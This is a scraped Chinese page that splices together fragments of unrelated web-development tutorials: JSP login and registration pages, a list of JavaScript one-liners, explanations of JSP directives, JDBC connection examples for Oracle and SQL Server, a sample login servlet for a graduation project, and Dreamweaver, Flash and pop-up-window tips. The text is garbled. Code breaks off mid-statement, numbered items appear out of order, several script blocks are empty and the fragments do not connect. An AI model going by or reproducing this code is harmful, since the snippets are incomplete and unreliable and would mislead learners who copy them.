(完整版)JSP登陆页面代码

response.sendRedirect("login.htm");
}
%>
如果输入信息有误，则回到登录页面，重新输入登录信息。
注册页面：reg.jsp
请输入您的注册信息：
<table>
<form action="/user/Reg" method="post" name="regform" onsubmit="return regconfirm();">
session.setAttribute("login","ok");
session.setMaxInactiveInterval(-1);
%>
<jsp:forward page="main.jsp"/>
<%
}else{
out.println("用户名或密码输入错误！");
}
%>
如果登录成功，则设定login的值为ok，提交到下一步验证页面，则进入main.jsp页面，否则，如果输入的用户名和密码不合法就打印错误信息，main.jsp页面代码如下：
<tr><td>密码：</td><td><input type="password" name="user_pwd" id="user_pwd" size="20" maxlength=10 onBlur="checkPWD();">*可以包含字母数字(区分大小写)，6-10位</td>

100句javascript一句话代码(简短常用代码集合,js开发必备的小程序集)

31.复选按钮在JS中判断是否选中:document.forms[0].checkThis.checked (checked属性代表为是否选中返回TRUE或FALSE)
32.单选按钮组(单选按钮的名称必须相同):取单选按钮组的长度document.forms[0].groupName.length
70.添加到收藏夹:external.AddFavorite(””,”jaskdlf”);
71.JS中遇到脚本错误时不做任何操作:window.onerror = doNothing; 指定错误句柄的语法为:window.onerror = handleError;
58.innerTEXT的值和上面的一样,只不过不会把< em >这种标记显示出来.
59.contentEditable可设置元素是否可被修改,isContentEditable返回是否可修改的状态.
60.isDisabled判断是否为禁止状态.disabled设置禁止状态
61.length取得长度,返回整型数值
67.取出该元素在页面中出现的数量:document.all.tags(”div(或其它HTML标记符)”).length
68.JS中分为两种窗体输出:模态和非模态.window.showModaldialog(),window.showModeless()
69.状态栏文字的设置:window.status=’文字’,默认的状态栏文字设置:window.defaultStatus = ‘文字.’;
52.JS的内建对象有:Array,Boolean,Date,Error,EvalError,Function,Math,Number,Object,RangeError,ReferenceError,RegExp,String,SyntaxError,TypeError,URIError

JSP的3个编译指令、7个动作指令

JSP的3个编译指令、7个动作指令3个编译指令：page、include、taglibJSP的编译指令是通知JSP引擎(Tomcat、WebLogic)的消息，它不直接生成输出。

JSP引擎的工作原理:当一个JSP页面第一次被访问的时候，JSP引擎将执行以下步骤：（1）将JSP页面翻译成一个Servlet，这个Servlet是一个java文件，同时也是一个完整的java程序（2）JSP引擎调用java编译器对这个Servlet进行编译，得到可执行文件class（3）JSP引擎调用java虚拟机来解释执行class文件，生成向客户端发送的应答，然后发送给客户端以上三个步骤仅仅在JSP页面第一次被访问时才会执行，以后的访问速度会因为class文件已经生成而大大提高。

当JSP引擎街道一个客户端的访问请求时，首先判断请求的JSP页面是否比对应的Servlet新，如果新，对应的JSP需要重新编译。

编译指令都有其默认值，因此无须为每个指令设置其值。

常见的编译指令有3个：(1)、page：是针对当前页面的指令；(2)、include：用于指定包含另一个页面；(3)、taglib：用于定义和访问自定义标签。

使用编译指定的语法格式如下：<%@ 编译指令名属性1="属性值" 属性2="属性值" ...%>1、page指令：是针对当前页面的指令，通常位于JSP页面的顶端，一个JSP页面可以使用多page指令。

常用的page指令如下的格式：<%@ page contentType="text/html; charset=GBK" language="java" errorPage="" %> <%@ page import="java.sql.*" %>常用的page的属性如下：(1)、contentType：用于设定生成网页的文件格式和编码字符集，即MIME类型和页面字符集类型，默认MIME类型是text/html，默认的字符集类型为:ISO-8859-1；(2)、language：声明当前JSP页面使用的脚本语言的种类，因为页面是JSP页面，所以该属性的值通常都是java。

jsp的常用指令有哪些（编译指令动作指令整理）

jsp的常⽤指令有哪些（编译指令动作指令整理）Jsp包含三个编译指令和七个动作指令。

三个编译指令为：page、include、taglib。

七个动作指令为：jsp:forward、jsp:param、jsp:include、jsp:plugin、jsp:useBean、jsp:setProperty、jsp:getProperty。

1、 page指令a. 通常位于jsp页⾯的顶端，同⼀个页⾯可以有多个page指令。

语法格式如下：复制代码代码如下:〈% @page[language="Java"][extends="package.class"][import= "package. class I package. *},…"][session="true I false"][buffer="none I 8kb I size kb" 1[autoFlush="true I false"][isThreadSafe="true I false"][info="text"][errorPage="relativeURL"][contentType="mimeType[ ;charset=characterSet]" I"text/html;charset= "808859-1"][isErrorPage=" true I false"]%〉1)language属性，⼀般情况就是java，代表jsp页⾯使⽤的脚本语⾔。

2)Extends属性，确定 JSP 程序编译时所产⽣的 Java 类，需要继承的⽗类，或者需要实现的接⼝的全限定类名。

JSP编程入门：各种数据库连接的实例代码(doc 6页)

JSP编程入门：各种数据库连接的实例代码(doc 6页)JSP编程入门之与各种数据库连接的实例代码现在有好多初学jsp的网友经常会问数据库怎么连接啊，怎么老出错啊？所以我集中的在这写篇文章供大家参考，其实这种把数据库逻辑全部放在jsp里未必是好的做法，但是有利于初学者学习，所以我就这样做了，当大家学到一定程度的时候，可以考虑用MVC的模式开发。

在练习这些代码的时候，你一定将jdbc的驱动程序放到服务器的类路径里，然后要在数据库里建一个表test,有两个字段比如为test1，test2，可以用下面SQL建create table test(test1 varchar(20),test2 varchar(20)然后向这个表写入一条测试纪录，那么现在开始我们的jsp和数据库之旅吧。

一、jsp连接Oracle8/8i/9i数据库（用thin模式）testoracle.jsp如下：<%@ page contentType="text/html;charset=gb2312"% ><%@ page import="java.sql.*"%><html><body><%Class.forName("oracle.jdbc.driver.Oracl eDriver").newInstance();Stringurl="jdbc:oracle:thin:@localhost:1521:orcl"; //orcl为你的数据库的SIDString user="scott";String password="tiger";Connection conn= DriverManager.getConnection(url,user,pass word);Statementstmt=conn.createStatement(ResultSet.TYPE_SCROLL_SENSITIVE,ResultSet.CONCUR _UPDATABLE);String sql="select * from test";ResultSet rs=stmt.executeQuery(sql);while(rs.next()) {%>您的第一个字段内容为：<%=rs.getString(1)%>您的第二个字段内容为：<%=rs.getString(2)%><%}%><%out.print("数据库操作成功，恭喜你");%> <%rs.close();stmt.close();conn.close();%></body></html>二、jsp连接Sql Server7.0/2000数据库testsqlserver.jsp如下：<%@ page contentType="text/html;charset=gb2312"% ><%@ page import="java.sql.*"%><html><body><%Class.forName("com.microsoft.jdbc.sqls erver.SQLServerDriver").newInstance();

jsp毕业设计源代码

jsp毕业设计源代码JSP毕业设计源代码随着互联网的发展，越来越多的学生选择使用JSP（JavaServer Pages）作为毕业设计的开发语言。

JSP是一种用于开发动态网页的技术，它结合了Java代码和HTML标记，使开发者能够在网页中嵌入Java代码，实现复杂的逻辑和交互功能。

在这篇文章中，我们将探讨一些常见的JSP毕业设计源代码，以帮助学生更好地理解和运用这一技术。

1. 用户注册和登录系统一个常见的JSP毕业设计项目是开发一个用户注册和登录系统。

这个系统允许用户注册一个新账号，并使用注册的账号和密码登录。

在JSP中，我们可以使用Java代码来处理用户的输入和验证，然后将用户信息存储在数据库中。

以下是一个简单的示例代码：```java<%@ page import="java.sql.*" %><%String username = request.getParameter("username");String password = request.getParameter("password");// 连接数据库String url = "jdbc:mysql://localhost:3306/mydatabase";String dbUsername = "root";String dbPassword = "password";Connection conn = DriverManager.getConnection(url, dbUsername,dbPassword);// 检查用户名和密码是否正确String sql = "SELECT * FROM users WHERE username=? AND password=?"; PreparedStatement statement = conn.prepareStatement(sql);statement.setString(1, username);statement.setString(2, password);ResultSet result = statement.executeQuery();if (result.next()) {// 登录成功session.setAttribute("username", username);response.sendRedirect("home.jsp");} else {// 登录失败out.println("用户名或密码错误");}// 关闭数据库连接result.close();statement.close();conn.close();%>```2. 在线购物系统另一个常见的JSP毕业设计项目是开发一个在线购物系统。

jsp常见的指令总结

l、<%@page isThreadSafe=""%>：用来设置JSP文件是否能多线程使用。如果设置为true，那么一个JSP能够同时处理多个用户的请求；相反，如果设置为false，一个JSP只能一次处理一个请求。例如，isThreadSafe="true"。
m、<%@page pageEncoding=""%>：JSP页面的字符编码，默认值为pageEncoding="iso-8859-1"，例如 pageEncoding="gb2312"。
 <tag>
 <name>helloWorld</name>  <tag-class>org.lxh.taglib.HelloWorldTag</tag-class>  <body-content>empty</body-content> </tag> </taglib>
b、一个比较好的Include指令例子就是使用多页面来包含一个通用的头模块和尾模块的内容。
就像这样：
header.jsp
<%! int pageCount = 0; void addCount() {
pageCount++; } %> <% addCount(); %> <html> <head> <title>The include Directive Example</title> </head> <body> <center> <h2>The include Directive Example</h2> <p>This site has been visited <%= pageCount %> times.</p> </center> <br/><br/>

jsp页面常用代码

jsp页⾯常⽤代码⼀、在jsp页⾯中，性别的回显（）1 <tr>2 <td>性别:</td>3 <td>4 <input name="sex" type="radio" size="25" value="0" <c:if test='${modlCust.sex=="0"}'>checked="checked"</c:if> />⼥5 <input name="sex" type="radio" size="25" value="1" <c:if test='${modlCust.sex=="1"}'>checked="checked"</c:if> />男6 </td>7 <tr>⼆、异步提交，上传图⽚并显⽰1 <td width="" colspan="2" rowspan="5">23 4 <img src="${program}/images/idCard.jpg" width="160px" height="200px" id="allUrl"/>5 6 <input type="hidden" name="customer.cardphoto" id="imgUrl" />7 8 <br/><input type="file" name="file" onchange="uploadPic()" />9 </td>1 function uploadPic(){2//alert(111);3 var options={4 url:program +'/UploadController/uploadImg.do',5 type:"post",6 dataType:"json",7 success:function(data){89 $("#allUrl").attr("src",program+"/upload/"+data.path);10 $("#imgUrl").val(data.path);11 }12 };13 $("#rentForm").ajaxSubmit(options);1415 }三、在进⼊登录页⾯的时候，使⿏标指针默认放到输⼊⽤户名的地⽅。

1.让浏览器窗口永远都不出现滚动条。

<body style="overflow-x:hidden;overflow-y:hidden">或<body style="overflow:hidden">或<body scroll=no>2，没有水平滚动条<body style="overflow-x:hidden">3，没有垂直滚动条<body style="overflow-y:hidden">3,如何给图片抖动怎做的.<SCRIPT language=javascript1.2></SCRIPT><style>.shakeimage {POSITION: relative}</style><imgsrc="图片的路径" onmouseout=stoprattle(this) onmouseover=init(this);rattleimage()class=shakeimage>4，在DW如何给水平线加颜色。

在DW中没有此项设置，你只能在HTML中加入代码：<hr color=red noshade>按F12的预览在能看到。

由于在NC中不支持<hr>的COLOR属性，所以在DW中没有此项设置。

5，如何在网页中实现flash的全屏播放？只要在调用swf文件的HTML中将WIDTH和HEIGHT的参数设为100％即可，当然也可以在Flash导出HTML文件的设置中进行设置，方法是：打开File菜单；选Publish Settings弹出导出设置对话框；在HTML 标签下的Dimensions选项,下拉后选中Percent（百分比）,并在WIDTH 和HEIGHT框中填100.就行了。

6,为什么我在DW中插入的Flash动画缺看不找！如果你没有正确地安装Dreamweaver和Flash，那么在你预览的时候，Dreamweaver会提示你缺少播放的插件，请你按装InstallAXFlash.exe 并从新启动计算机。

现在IE6已经捆绑这个程序。

7，在Flash中，如果屏蔽鼠标右键?FS命令都是什么意思?fscommand ("fullscreen", "true/false";（全屏设置，TRUE开，FALSE关）fscommand ("showmenu", "true/false";（右键菜单设置，TRUE显示，FALSE不显示）fscommand ("allowscale", "true/false";（缩放设置，TRUE自由缩放，FALSE调整画面不影响影片本身的尺寸）fscommand ("trapallkeys", "true/false";（快捷键设置，TRUE快捷键开，FALSE快捷键关）fscommand ("exec";（EXE程序调用）fscommand ("quit";（退出关闭窗口）8，Flash中什么是隐形按钮。

利用button中的hit帧来制作只有感应区域而完全透明的按钮。

9，如何给Flash动画做链接。

Dreamweaver是不能给Flash制作链接的，只能在Flash中用geturl()加链接，然后再插入Dreamweaver 中。

10，DW中的层的技巧。

层是可以嵌套的，我个人给大家一个技巧，在层面板中按住CTRL再拖放层到你想去成为其子层的地方就行了，我认为这是最简单直观的方法了。

11，如何改变鼠标的形状？在Dreamweaver4中CSS样式面板：按CTR+SHIFT+E--出现样式表对话框,点击NEW，出现编辑对话框,在左边最后一项extensions-cursor 选择你要改的指针形式就可以了，然后把你要想改变的地方运用样式表，如果整页都有在<bodybgcolor="#003063" text="#ffffff" id=all>中加入就行了。

<span style="cursor:X`>样例</span>这里选择（文本）作为对象，还可以自己改为其他的，如link等。

x 可以等于=hand（手形）、crosshair（十字）、text（文本光标）、wait（顾名思义啦）、default（默认效果）、help（问号）、e-size（向右箭头）、ne-resize（向右上的箭头）、nw-resize（向左上的箭头）、w-resize（向左的箭头）、sw- resize（左下箭头）、s-resize（向下箭头）、se-resize（向右下箭头）、auto（系统自动给出效果）。

12，用CSS做邮票，看看吧！<input type=button value=我象不象邮票？style="height:80px;border:2px dashed #cccccc">13，经常上网的朋友可能会到过这样一些网站，一进入首页立刻会弹出一个窗口，怎么做呢！这javascript代码即可实现，摘录蓝色论坛。

【1、最基本的弹出窗口代码】其实代码非常简单：<SCRIPT LANGUAGE="javascript"></SCRIPT>因为着是一段javascripts代码，所以它们应该放在<SCRIPT LANGUAGE="javascript">标签和</script>之间。

是对一些版本低的浏览器起作用，在这些老浏览器中不会将标签中的代码作为文本显示出来。

要养成这个好习惯啊。

window.open (`page.html`) 用于控制弹出新的窗口page.html，如果page.html不与主窗口在同一路径下，前面应写明路径，绝对路径(http://)和相对路径(../)均可。

用单引号和双引号都可以，只是不要混用。

这一段代码可以加入HTML的任意位置，<head>和</head>之间可以，<body bgcolor="#003063"text="#ffffff" id=all>间</body>也可以，越前越早执行，尤其是页面代码长，又想使页面早点弹出就尽量往前放。

【2、经过设置后的弹出窗口】下面再说一说弹出窗口的设置。

只要再往上面的代码中加一点东西就可以了。

我们来定制这个弹出的窗口的外观，尺寸大小，弹出的位置以适应该页面的具体情况。

<SCRIPT LANGUAGE="javascript"></SCRIPT>参数解释：<SCRIPT LANGUAGE="javascript">js脚本开始；window.open弹出新窗口的命令；`page.html` 弹出窗口的文件名；`newwindow` 弹出窗口的名字（不是文件名），非必须，可用空``代替；height=100 窗口高度；width=400 窗口宽度；top=0 窗口距离屏幕上方的象素值；left=0 窗口距离屏幕左侧的象素值；toolbar=no 是否显示工具栏，yes为显示；menubar，scrollbars 表示菜单栏和滚动栏。

resizable=no 是否允许改变窗口大小，yes为允许；location=no 是否显示地址栏，yes为允许；status=no 是否显示状态栏内的信息（通常是文件已经打开），yes为允许；</SCRIPT>js脚本结束【3、用函数控制弹出窗口】下面是一个完整的代码。

<html><head><script LANGUAGE="javascript"></script></head><body onload="openwin()">…任意的页面内容…</body></html>这里定义了一个函数openwin(),函数内容就是打开一个窗口。
